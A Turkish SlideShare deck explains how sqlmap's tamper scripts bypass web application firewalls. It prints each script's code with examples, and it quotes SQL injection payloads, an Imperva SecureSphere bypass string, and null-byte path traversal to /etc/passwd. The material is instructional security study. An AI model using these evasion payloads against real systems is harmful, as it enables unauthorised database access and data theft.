O slideshow foi denunciado.
Utilizamos seu perfil e dados de atividades no LinkedIn para personalizar e exibir anúncios mais relevantes. Altere suas preferências de anúncios quando desejar.

Sqlmap Analiz

1.775 visualizações

Publicada em

Sqlmap Bypass 'larının nasıl çalıştıgı anlatılmıştır.Sorusu olan email adresinden ulaşabilir.

Publicada em: Dados e análise
  • Seja o primeiro a comentar

Sqlmap Analiz

  1. 1. SQLMAP Bypass DEŞİFRE 20.08.2014 b3mb4m@gmail.com Fikir görüş öneri için ulaşmanız yeterlidir.
  2. 2. KONU BAŞLIKLARI apostrophemask.py apostrophenullencode.py appendnullbyte.py base64encode.py between.py bluecoat.py chardoubleencode.py charencode.py charunicodeencode.py concat2concatws.py equaltolike.py greatest.py halfversionedmorekeywords.py ifnull2ifisnull.py lowercase.py modsecurityversioned.py modsecurityzeroversioned.py multiplespaces.py nonrecursivereplacement.py percentage.py randomcase.py randomcomments.py securesphere.py sp_password.py space2comment.py space2dash.py space2hash.py space2morehash.py space2mssqlblank.py space2mssqlhash.py space2mysqlblank.py space2mysqldash.py space2plus.py space2randomblank.py unionalltounion.py unmagicquotes.py varnish.py versionedkeywords.py versionedmorekeywords.py
  3. 3. 1)apostrophemask.py #!/usr/bin/env python from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOWEST def dependencies(): pass def tamper(payload, **kwargs): return payload.replace(''', "%EF%BC%87") if payload else payload >>> tamper("1 AND '1'='1") #Bypass edilmemiş haldeki kodumuz bu >>>' 1 AND %EF%BC%871%EF%BC%87=%EF%BC%871 ' #Bypass yapıldıktan sonraki hali Payload satırı ; return payload.replace(''', "%EF%BC%87") if payload else payload Scriptin görevi tırnak olan kısımları alıp yerine %EF%BC%87 payloadını koyarak bypass işlemini gerçekleştirmek. 2)apostrophenullencode.py #!/usr/bin/env python from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOWEST def dependencies(): pass def tamper(payload, **kwargs): return payload.replace(''', "%00%27") if payload else payload Adındanda anlaşışdıgı gibi nullencode yani boş veri araya sokuyor burada bahsedilen boşveri %00.Devamında gelen %27 ise ' (tırnak) ifadesi. >>> tamper("1 AND '1'='1") >>>' 1 AND %00%271%00%27=%00%271 ' Payload satırı ; return payload.replace(''', "%00%27") if payload else payload
  4. 4. 3)appendnullbyte.py #!/usr/bin/env python from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOWEST def dependencies(): pass def tamper(payload, **kwargs): return "%s%%00" % payload if payload else payload Kodlara baktından sonra aklınızda oluşanları az çok tahmin ediyorum onun için geliştiriciler tarafından bırakılan bi notu gösterelim. - Useful to bypass weak web application firewalls when the back-end database management system is Microsoft Access - further uses are also possible. Bir önceki bypass scriptimize benzer ama daha basit bi versiyonu.Peki diyeceksiniz ki bu kadar basit bir payload işe yarar mı ? Kendi referans aldıkları websitesi bu http://projects.webappsec.org/w/page/13246949/Null-Byte-Injection İçine biraz bakalım .. Exploitation: Normal Mode: http://www.example.host/read.pl?page=userphoto.jpg Attacking Mode: http://www.example.host/read.pl?page=../../../../etc/passwd%00jpg Exploitation: Normal Mode: http://www.example.host/mypage.jsp?fn=report.db Attacking Mode: http://www.example.host/mypage.jsp?fn=serverlogs.txt%00.db Bunlara baktıktan sonra kafanıza tam oturmuştur diye tahmin ediyorum.Yani mevcut açık nullbyte'tan sonraki kısımları yok sayıyor bizde bu sayede kodlarımızı rahatça okutabiliyoruz anlamına geliyor.Tabiki basit mi ? basit.Ancak açıgın basit olması tehlike seviyesini azaltmıyor .. Nullbyte hakkında daha fazla bilgi için ; * http://php.net/manual/en/security.filesystem.nullbytes.php * http://en.wikipedia.org/wiki/Null_character * https://www.owasp.org/index.php/OWASP_Periodic_Table_of_Vulnerabilities_-_Null_Byte_Injection * http://security.stackexchange.com/questions/48187/null-byte-injection-on-php
  5. 5. 4)base64encode.py #!/usr/bin/env python import base64 from lib.core.enums import PRIORITY from lib.core.settings import UNICODE_ENCODING __priority__ = PRIORITY.LOWEST def dependencies(): pass def tamper(payload, **kwargs): return base64.b64encode(payload.encode(UNICODE_ENCODING)) if payload else payload >>> tamper("1' AND SLEEP(5)#") >>>' MScgQU5EIFNMRUVQKDUpIw== ' Görmüş oldugunuz gibi python kütüphanesinde hazır halde bulunan "base64" modül ile tek satırda bypass işlemini kolaylıkla gerçekleştirebiliyoruz.Ama bundan önce base64 nedir onu açıklıyalım ; Vikipedi Base64 ikili verilerin (İngilizce: binary data) sadece ASCII karakterlerini kullanan ortamlarda iletilmesine ve saklanmasına olanak tanıyan bir kodlama şemasıdır.Kodlama sırasında 3 baytlık veriler 6 bitlik dörtlü gruplara dağıtılırlar. Her bir 6 bitlik grup 0 ile 63 arasında bir sayı oluşturur (26=64). Mesela şöyle diyelim internet ortamında büyük ihtimal görmüssünüzdür."SELECT" yazdıgınızda forbidden ile karşılaşıtıgımız durmunlar olur. Örnekle açıklayalım ; site.com/index.php?id=5+union <-- union yazdıgımız sorun yok . site.com/index.php?id=5+union+select <-- forbidden hatası ile karşılaştık.Base64 encode burada devreye giriyor. site.com/index.php?id=5K3VuaW9uK3NlbGVjdA== bu şekilde bypass edilerek hatayı geçme şansımız doguyor.
  6. 6. 5)between.py #!/usr/bin/env python import re from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHEST def dependencies(): pass def tamper(payload, **kwargs): retVal = payload if payload: match = re.search(r"(?i)(b(AND|OR)bs+)(?!.*b(AND|OR)b)([^>]+?)s*>s*([^>]+)s*Z", payload) if match: _ = "%s %s NOT BETWEEN 0 AND %s" % (match.group(2), match.group(4), match.group(5)) retVal = retVal.replace(match.group(0), _) else: retVal = re.sub(r"s*>s*(d+|'[^']+'|w+(d+))", " NOT BETWEEN 0 AND g<1>", payload) if retVal == payload: match = re.search(r"(?i)(b(AND|OR)bs+)(?!.*b(AND|OR)b)([^=]+?)s*=s*(w+)s*", payload) if match: _ = "%s %s BETWEEN %s AND %s" % (match.group(2), match.group(4), match.group(5), match.group(5)) retVal = retVal.replace(match.group(0), _) return retVal Sadece karışık gözüktügüne emin olabilirsiniz.İşlevi şu şekilde açıklanmış. Replaces greater than operator ('>') with 'NOT BETWEEN 0 AND #' Replaces equals operator ('=') with 'BETWEEN # AND #' Aslında basit degilmi ? >>> tamper('1 AND A > B--') >>>'1 AND A NOT BETWEEN 0 AND B--' >>> tamper('1 AND A = B--') >>> '1 AND A BETWEEN B AND B--' Bypass çeşitleri oldukça fazla olan sqlmap aslında profesyonel şekilde kullanırsa ne kadar faydalı olabilecegini görüyorsunuz .. Ama tabiki daha yeni başlıyoruz !
  7. 7. 6)bluecoat.py #!/usr/bin/env python import re from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL def dependencies(): pass def tamper(payload, **kwargs): retVal = payload if payload: retVal = re.sub(r"(?i)(SELECT|UPDATE|INSERT|DELETE)s+", r"g<1>%09", payload) retVal = re.sub(r"s*=s*", " LIKE ", retVal) return retVal >>> tamper('SELECT id FROM users where id = 1') >>>'SELECT%09id FROM users where id LIKE 1' Aslında kodlar gördügünüz gibi standart modüller payload çevirisi yapan kodumuz ise en fazla 5-6 satır oluyor. Geliştirici notlarını gene paylaşalım ; Replaces space character after SQL statement with a valid random blank character. Afterwards replace character = with LIKE operator. Aslında bunlar basit bypasslar gibi görünsede hepsi %100 test edilmiştir. Referans olarak ; https://kb.bluecoat.com/index?page=content&id=FAQ2147 Şuana kadar gördügünüz kodları herhangibi bir programlama diline aşinaysanız veya python biliyorsanız biraz dikkat ile hepsini anlayabilirsiniz. bluecoat bypass scritimizin test edildigi ortam ; Tested against: * MySQL 5.1, SGOS Bu kadar bypassı sizin için yapması zamandan tasarruf açısından çok iyi olsada şuanda yaptıgımız gibi içini bilmedigimiz sürece hiçbirşey ögrenemeyiz o yüzden biraz daha dikkatinizi vermenizi istiyorum.Uzun bir yazı dizisi olacak.
  8. 8. 7)chardoubleencode.py #!/usr/bin/env python import string from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def dependencies(): pass def tamper(payload, **kwargs): retVal = payload if payload: retVal = "" i = 0 while i < len(payload): if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits: retVal += '%%25%s' % payload[i + 1:i + 3] i += 3 else: retVal += '%%25%.2X' % ord(payload[i]) i += 1 return retVal >>> tamper('SELECT FIELD FROM%20TABLE') >>>'%2553%2545%254C%2545%2543%2554%2520%2546%2549%2545%254C%2544%2520%2546% 2552%254F%254D%2520%2554%2541%2542%254C%2545' Açıklamayı alalım hemen ; Double url-encodes all characters in a given payload (not processing already encoded) Url encode işlemi ile bypasslamak için yapılmış olan bu script açıklamadada yazdıgı gibi 2 kez üst üste encode işlemi ile bypass işlemini gerçekleştiriyor.Ancak açıklamadaki bu kısmın anlattıgı "not processing already encoded" yani eger ki encode edilmiş ise o kısım birdaha encode edilmez. Bunun içinde biraz karmaşık bir mantıkla kodlanmıştır kodlar.Normalde python hazır modüllerini kullanak bunu yapmak mümkün ; >>> import urllib >>> params= {'q': q.encode('utf-8')} >>> 'http://www.test.com/?'+urllib.urlencode(params) >>> 'http://www.test.com/?q=%C3%A6%C3%B8%C3%A5' Şeklinde yapabiliriz.
  9. 9. 8)charencode.py #!/usr/bin/env python import string from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOWEST def dependencies(): pass def tamper(payload, **kwargs): retVal = payload if payload: retVal = "" i = 0 while i < len(payload): if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits: retVal += payload[i:i + 3] i += 3 else: retVal += '%%%.2X' % ord(payload[i]) i += 1 return retVal >>> tamper('SELECT FIELD FROM%20TABLE') >>>'%53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45' İlk önce zaten doubleencode scriptimizi görmüştük.Buda charencode yani sadece bir kere encode işlemini yapıyor. Test edilen ortamlar : * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 Burada ord ord(payload[i]) üzerinde biraz duralım kafanız karışmış olabilir.Ord'un işlevi string ifadelerin asci karşılıklarını almaktır. >>> string=’Hello World’ >>> list_ascii=[ord(i) for i in string] >>> print list_ascii >>>[72, 101, 108, 108, 111, 32, 87, 111, 114, 108, 100]
  10. 10. 9)charunicodeencode.py #!/usr/bin/env python import os import string from lib.core.enums import PRIORITY from lib.core.common import singleTimeWarnMessage __priority__ = PRIORITY.LOWEST def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against ASP or ASP.NET web applications" % os.path.basename(__file__).split(".")[0]) def tamper(payload, **kwargs): retVal = payload if payload: retVal = "" i = 0 while i < len(payload): if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits: retVal += "%%u00%s" % payload[i + 1:i + 3] i += 3 else: retVal += '%%u%.4X' % ord(payload[i]) i += 1 return retVal >>> tamper('SELECT FIELD%20FROM TABLE') >>> '%u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004C%u0044%u0020% u0046%u0052%u004F%u004D%u0020%u0054%u0041%u0042%u004C%u0045' Gerekli sistemler : * ASP * ASP.NET Buradaki kod blogundanda anlayabiliriz : singleTimeWarnMessage("tamper script '%s' is only meant to be run against ASP or ASP.NET web applications" % os.path.basename(__file__).split(".")[0]) Önceki scriptimiz char ile encode ediyordu.Bu scriptimiz ise char+unicode ile encode ederek bypass işlemini yapıyor. Unicode nedir derseniz --> http://tr.sercanulucan.com/unicode-utf-8-ve-python/ Python & Unicode ilişkisini ayrıntılı bir şekilde anlatan bi arkadaşımız mecvut okumanızı tavsiye ederim.
  11. 11. 10)equaltolike.py #!/usr/bin/env python import os import re from lib.core.common import singleTimeWarnMessage from lib.core.enums import DBMS from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHEST def dependencies(): singleTimeWarnMessage("tamper script '%s' is unlikely to work against %s" % (os.path.basename(__file__).split(".")[0], DBMS.PGSQL)) def tamper(payload, **kwargs): def process(match): word = match.group() word = "%sLIKE%s" % (" " if word[0] != " " else "", " " if word[-1] != " " else "") return word retVal = payload if payload: retVal = re.sub(r"s*=s*", lambda match: process(match), retVal) return retVal >>> tamper('SELECT * FROM users WHERE id=1') >>>'SELECT * FROM users WHERE id LIKE 1' Bu sefer basit bir bypass scripti ile karşı karşıyayız. Replaces all occurances of operator equal ('=') with operator 'LIKE' Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 Notes: * Useful to bypass weak and bespoke web application firewalls that filter the equal character ('=') * The LIKE operator is SQL standard. Hence, this tamper script should work against all (?) databases Görüldügü gibi = yerine LIKE ile degiştirip bypass işlemini gerçekleştiriyor.
  12. 12. 11)greatest.py #!/usr/bin/env python import re from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHEST def dependencies(): pass def tamper(payload, **kwargs): retVal = payload if payload: match = re.search(r"(?i)(b(AND|OR)bs+)(?!.*b(AND|OR)b)([^>]+?)s*>s*([^>]+)s*Z", payload) if match: _ = "%sGREATEST(%s,%s+1)=%s" % (match.group(1), match.group(4), match.group(5), match.group(4)) retVal = retVal.replace(match.group(0), _) return retVal >>> tamper('1 AND A > B') >>> '1 AND GREATEST(A,B+1)=A' Geliştiricilerin açıklaması: Replaces greater than operator ('>') with 'GREATEST' counterpart Tested against: * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 Gördügünüz gibi her scriptin içinde geliştirici açıklamaları ve test edilme ortamları mevcut.Bu demektir ki hiçbirşey tahmini degerler üzerine gerçekleştirilmiyor.Yani siz ne kadar ararsanız geliştiricilerde bunları o kadar arıyor. * The GREATEST clause is a widespread SQL command. Hence, this tamper script should work against majority of databases
  13. 13. 12)concat2concatws.py #!/usr/bin/env python """ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHEST def dependencies(): pass def tamper(payload, **kwargs): if payload: payload = payload.replace("CONCAT(", "CONCAT_WS(MID(CHAR(0),0,0),") return payload """ Replaces instances like 'CONCAT(A, B)' with 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' Requirement: * MySQL Tested against: * MySQL 5.0 Notes: * Useful to bypass very weak and bespoke web application firewalls that filter the CONCAT() function """ >>> tamper('CONCAT(1,2)') >>>'CONCAT_WS(MID(CHAR(0),0,0),1,2)' Kodların işlevini bir bakışta anlamanız çok normal.Çünkü artık olayların mantıgını kavramaya başladınız. Aslında bütün açıklama tek cümle ile verilmiş: Replaces instances like 'CONCAT(A, B)' with 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' Çok zayıf firewall olan sistemler için yapılmış bir bypass scripti.Sadece mysql üzerinde etkili.
  14. 14. 13)halfversionedmorekeywords.py #!/usr/bin/env python import os import re from lib.core.common import singleTimeWarnMessage from lib.core.data import kb from lib.core.enums import DBMS from lib.core.enums import PRIORITY from lib.core.settings import IGNORE_SPACE_AFFECTED_KEYWORDS __priority__ = PRIORITY.HIGHER def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s < 5.1" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) def tamper(payload, **kwargs): def process(match): word = match.group('word') if word.upper() in kb.keywords and word.upper() not in IGNORE_SPACE_AFFECTED_KEYWORDS: return match.group().replace(word, "/*!0%s" % word) else: return match.group() retVal = payload if payload: retVal = re.sub(r"(?<=W)(?P<word>[A-Za-z_]+)(?=W|Z)", lambda match: process(match), retVal) retVal = retVal.replace(" /*!0", "/*!0") return retVal >>> tamper("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa") >>>"value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*! 0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa" Biraz karısık bir bypass gibi görünsede aslında degil.Value degerine takılmanıza gerek yok.Örnek verecek olursam : site.com/index.php?id=5 buradaki " 5 " value degeridir. Scriptte çok fazla regex kullanımı karısık görünsede örnek aslında durumu özetiliyor.Kelimeler üzerinde oynama yapılmıyor bu scriptte. /*!0 her komutun önüne geçerek sql komutlarımızı mevcut hedef üzerinde çalıştırmamıza olanak saglıyor.
  15. 15. 14)lowercase.py #!/usr/bin/env python import re from lib.core.data import kb from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL def dependencies(): pass def tamper(payload, **kwargs): retVal = payload if payload: for match in re.finditer(r"[A-Za-z_]+", retVal): word = match.group() if word.upper() in kb.keywords: retVal = retVal.replace(word, word.lower()) return retVal >>> tamper('INSERT') >>> 'insert' Biraz şaka gibi gelebilecek bir script .Büyük olan bütün harf&karakter i kücük olan degeriyle degiştiriyor.Şöyle bir açıklama yapayım.Bu örnek ve önceki örnekler üzerinde olmak üzere tamper içinde yazan komutlar sabit olmayabilir.Yani örnekte verildi diye sadece o kelime&karakter&komut 'u bypasslıyor diye düşünmeyelim. Çünkü sql injection tek aşamalı bir işlem degildir.Her farklı istek için komut degişken olacagından örneklere baglı kalmamanız daha iyi olur.
  16. 16. 15)varnish.py #!/usr/bin/env python from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL def dependencies(): pass def tamper(payload, **kwargs): headers = kwargs.get("headers", {}) headers["X-originating-IP"] = "127.0.0.1" return payload Example : >> X-forwarded-for: TARGET_CACHESERVER_IP (184.189.250.X) >> X-remote-IP: TARGET_PROXY_IP (184.189.250.X) >> X-originating-IP: TARGET_LOCAL_IP (127.0.0.1) >> x-remote-addr: TARGET_INTERNALUSER_IP (192.168.1.X) >> X-remote-IP: * or %00 or %0A Bu konu "Bypassing web application firewalls using HTTP headers" olarak geçiyor.HTTP headersları kullanarak kodlarını çalıştırmayı deniyor scriptimiz.HTTP headers konusu biraz geniş bir kavram yani sadece sql açıgıyla sınırlı degil.User agenti degiştirilerek yapılan saldırılarda mevcuttur. Yukarıda gördügünüz gibi: GET /app?user='or'1'='1' ;-- HTTP/1.1 <-- GET methodu ile yapılan saldırı. POST / app?user=B3mB4m&password='&nickname=' <-- POST methodu ile yapılan saldırı. Bunları hiç durmadan arttırabiliriz ama bizim konumuz sqlmap bypass umarım anlamıssınızdır.Devam ..
  17. 17. 16)ifnull2ifisnull.py def tamper(payload, **kwargs): if payload and payload.find("IFNULL") > -1: while payload.find("IFNULL(") > -1: index = payload.find("IFNULL(") depth = 1 comma, end = None, None for i in xrange(index + len("IFNULL("), len(payload)): if depth == 1 and payload[i] == ',': comma = i elif depth == 1 and payload[i] == ')': end = i break elif payload[i] == '(': depth += 1 elif payload[i] == ')': depth -= 1 if comma and end: _ = payload[index + len("IFNULL("):comma] __ = payload[comma + 1:end].lstrip() newVal = "IF(ISNULL(%s),%s,%s)" % (_, __, _) payload = payload[:index] + newVal + payload[end + 1:] else: break return payload >>> tamper('IFNULL(1, 2)') >>>'IF(ISNULL(1),2,1)' Aslında kodları örnekler tamamen açıklasada geliştiricilerimizin şu açıklamasına bakalım : *Replaces instances like 'IFNULL(A, B)' with 'IF(ISNULL(A), B, A)'* * Useful to bypass very weak and bespoke web application firewalls that filter the IFNULL() function* Bunlar " Useful to bypass very weak" kısmından anlaşılacagı üzere basit firewallları geçmek için oluşturulmuş scriptler.Ancak burada bypass çeşitliligi çok fazla oldugundan ve python 'un esnekligi ile birleştirdiginde hızlı ve kullanım basitligi kendisini vazgeçilmez bir script yapıyor. Peki neden basit dedim? Aslında şuana kadar görmüş oldugunuz her scriptin işlevi hemen hemen aynı.Bypass edilmemiş kod çalışmaz ise bypass scriptlerini devreye sok ve veriyi çek.
  18. 18. 17)modesecurityversioned.py #!/usr/bin/env python from lib.core.common import randomInt from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHER def dependencies(): pass def tamper(payload, **kwargs): retVal = payload if payload: postfix = '' for comment in ('#', '--', '/*'): if comment in payload: postfix = payload[payload.find(comment):] payload = payload[:payload.find(comment)] break if ' ' in payload: retVal = "%s /*!30%s%s*/%s" % (payload[:payload.find(' ')], randomInt(3), payload[payload.find(' ') + 1:], postfix) return retVal >>> tamper('1 AND 2>1--') >>>'1 /*!30874AND 2>1*/--' Requirement: * MySQL Tested against: * MySQL 5.0 Notes: * Useful to bypass ModSecurity WAF/IDS Bu bypass firewall çok iyi olmadıgı sürece %60 -70'lere varan başarı saglar. if ' ' in payload: retVal = "%s /*!30%s%s*/%s" % (payload[:payload.find(' ')], randomInt(3), payload[payload.find(' ') + 1:], postfix) Yukarıdaki kodumuz bütün bypass işlemini gerçekleştiren kısım.Şu şekilde mantıkla ilerliyor eger içinde şu varsa şununla degiştir.Python internet işlemleri çok basit halledildiginden bu basitlikten sonuna kadar faydalanmayı başarmış nadir scriptlerdendir SQLMAP.
  19. 19. 18)modesecurtiyzeroversioned.py #!/usr/bin/env python from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHER def dependencies(): pass def tamper(payload, **kwargs): retVal = payload if payload: postfix = '' for comment in ('#', '--', '/*'): if comment in payload: postfix = payload[payload.find(comment):] payload = payload[:payload.find(comment)] break if ' ' in payload: retVal = "%s /*!00000%s*/%s" % (payload[:payload.find(' ')], payload[payload.find(' ') + 1:], postfix) return retVal >>> tamper('1 AND 2>1--') >>>'1 /*!00000AND 2>1*/--' Bir önceki bypass scriptimizin farklı bir versiyonu diyebiliriz. if ' ' in payload: retVal = "%s /*!00000%s*/%s" % (payload[:payload.find(' ')], payload[payload.find(' ') + 1:], postfix) Aslında bütün olay son satırda bitiyor. for comment in ('#', '--', '/*'): Bahsettigim içinde şunlar varsa şunu yap mantıgı buradan itibaren başlıyor. "1 AND 2>1--" Gördügünüz gibi " -- " içinde mevcut buna göre script devreye giriyor ve bypass işlemini gerçekleştiriyor.
  20. 20. 19)multispaces.py #!/usr/bin/env python import random import re from lib.core.data import kb from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL def dependencies(): pass def tamper(payload, **kwargs): retVal = payload if payload: words = set() for match in re.finditer(r"[A-Za-z_]+", payload): word = match.group() if word.upper() in kb.keywords: words.add(word) for word in words: retVal = re.sub("(?<=W)%s(?=[^A-Za-z_(]|Z)" % word, "%s%s%s" % (' ' * random.randrange(1, 4), word, ' ' * random.randrange(1, 4)), retVal) retVal = re.sub("(?<=W)%s(?=[(])" % word, "%s%s" % (' ' * random.randrange(1, 4), word), retVal) return retVal >>> tamper('1 UNION SELECT foobar') >>>'1 UNION SELECT foobar' Adındanda anlaşıldıgı gibi bypass 'ı boşuklar bırakarak yapmaya çalısıyor. """ Adds multiple spaces around SQL keywords Notes: * Useful to bypass very weak and bespoke web application firewalls that has poorly written permissive regular expressions Reference: https://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt #Referans'ı bi okumanızı tavsiye ederim. """
  21. 21. 20)nonrecursiveplacement.py #!/usr/bin/env python import random import re from lib.core.common import singleTimeWarnMessage from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL def tamper(payload, **kwargs): keywords = ("UNION", "SELECT", "INSERT", "UPDATE", "FROM", "WHERE") retVal = payload warnMsg = "currently only couple of keywords are being processed %s. " % str(keywords) warnMsg += "You can set it manually according to your needs" singleTimeWarnMessage(warnMsg) if payload: for keyword in keywords: _ = random.randint(1, len(keyword) - 1) retVal = re.sub(r"(?i)b%sb" % keyword, "%s%s%s" % (keyword[:_], keyword, keyword[_:]), retVal) return retVal >>> tamper('1 UNION SELECT 2--') >>>'1 UNIOUNIONN SELESELECTCT 2--' Bu bypass çeşidini açıklamakta fayda var. Mesela: UNION <-- yazdıgınızda sayfa sizi ana sayfaya yönlendiriyor. SELECT <-- yazdıgınızda gene ana sayfaya yönlendiriyor. Yani bu demektir ki bazı komutlara karşı önlemler alınmış. Peki bu bypass ne yapıyorda geçiyor diye düşünebilirsiniz. UNIOUNIONN <-- UNION tekrar yönlendirme alacagınızı biliyorsunuz.Yani sayfa UNION 'u silecek ve sizi ana sayfaya atacak. UNIOUNIONN <-- Buradan UNION kısmını çıkarınca dikkat ederseniz UNI-UNION-ON <-- bunun dönecegi şey tekrar UNION olacak sayfa bizi yönlendirmeyecek komutumuz işleme girecek demektir. Aynı işlem SELECT komutu içinde yapılınca ilk önce verdigimiz komutlar engellense bile firewall'ın önlemini kendisine karşı tekrar kullanmış olucaz.
  22. 22. 21)percentage.py #!/usr/bin/env python import os import string from lib.core.enums import PRIORITY from lib.core.common import singleTimeWarnMessage __priority__ = PRIORITY.LOW def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against ASP web applications" % os.path.basename(__file__).split(".")[0]) def tamper(payload, **kwargs): if payload: retVal = "" i = 0 while i < len(payload): if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits: retVal += payload[i:i + 3] i += 3 elif payload[i] != ' ': retVal += '%%%s' % payload[i] i += 1 else: retVal += payload[i] i += 1 return retVal >>> tamper('SELECT FIELD FROM TABLE') >>>'%S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E' *Adds a percentage sign ('%') infront of each character* Direk olarak kelime engelleri olan bir önceki scripttede anlattıgım gibi engelleri geçmek için yapılmış bir scriptimiz. Requirement: * ASP Tested against: * Microsoft SQL Server 2000, 2005 * MySQL 5.1.56, 5.5.11 * PostgreSQL 9.0
  23. 23. 22)randomcase.py #!/usr/bin/env python import re from lib.core.common import randomRange from lib.core.data import kb from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL def dependencies(): pass def tamper(payload, **kwargs): retVal = payload if payload: for match in re.finditer(r"[A-Za-z_]+", retVal): word = match.group() if word.upper() in kb.keywords: _ = str() for i in xrange(len(word)): _ += word[i].upper() if randomRange(0, 1) else word[i].lower() retVal = retVal.replace(word, _) return retVal >>> tamper('INSERT') >>>'INseRt' Replaces each keyword character with random case value Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 *Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 Bu bypass çeşidini web güvenlik açıklarına ilgisi olan hemen hemen herkez duymuştur diye tahmin ediyorum. PHP'de direk olarak kelime engellerini aşmak için komutu bilinen standartın dışında yazmaya çalısıyoruz. Örnege eklemeler yapacak olursak : ıNSert InSeRT INSert ınsERt
  24. 24. 23)randomcomments.py #!/usr/bin/env python import re from lib.core.common import randomRange from lib.core.data import kb from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def tamper(payload, **kwargs): retVal = payload if payload: for match in re.finditer(r"b[A-Za-z_]+b", payload): word = match.group() if len(word) < 2: continue if word.upper() in kb.keywords: _ = word[0] for i in xrange(1, len(word) - 1): _ += "%s%s" % ("/**/" if randomRange(0, 1) else "", word[i]) _ += word[-1] if "/**/" not in _: index = randomRange(1, len(word) - 1) _ = word[:index] + "/**/" + word[index:] retVal = retVal.replace(word, _) return retVal >>> tamper('INSERT') >>>'I/**/N/**/SERT' "Add random comments to SQL keywords" Yaptıgı şey tam anlamıyla üstteki yorumun aynısı.SQL komutunu seçer ve /**/ <-- eklemeleri yapar.Comments dedigi budur yani --> /**/ . IN/**/SER/**/T IN/**/SE/**/RT I/**/NSE/**/T gibi random olarak bypass işlemini gerçekleştirir.
  25. 25. 24)securesphere.py #!/usr/bin/env python """ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL def dependencies(): pass def tamper(payload, **kwargs): """ Appends special crafted string Notes: * Useful for bypassing Imperva SecureSphere WAF * Reference: http://seclists.org/fulldisclosure/2011/May/163 """ return payload + " and '0having'='0having'" if payload else payload >>> tamper('1 AND 1=1') >>>"1 AND 1=1 and '0having'='0having'" Bu bypass referansta verildigi gibi 2011 yılında bulunmuştur.Referansı biraz inceleyerek yorum yapacak olursak. [Vulnerability Details] the vector: 15 and '1'=(SELECT '1' FROM dual) and '0having'='0having' won't be classified as malicious and will bypass the SQL Injection filter. [Summary] Due to a typo in one of the rules of the sql injection engine the WAF can be bypassed by appending a specially crafted string. Yani şu durum çıkıyor ortaya AND 1=1 kabul edilmedi tekrar and koyuyoruz ve, "Specially crafted string." <-- özet kısmındanki şu kısmı gerçekleştiriyoruz.Ortaya çıkan sonuç şu oluyor: AND 1=1 and '0having'='0having' <-- Hedefe yolladıgımız komut bu.Hedef birinci eşitligi kabul etmedigi için özel hazırlanmış bir eşitlik veriyoruz.Yani hedefin gördügü aslında sadece bu: '0having'='0having' Bundan sonra noluyor derseniz birinci eşitligi kabul etmediginden daha sonra bu kısma bakıyor.Bunlar eşitmi ? diyor.Bakıyor bunlar eşit sonuç şudur diyor.Ve bypass işlemi başarılı !
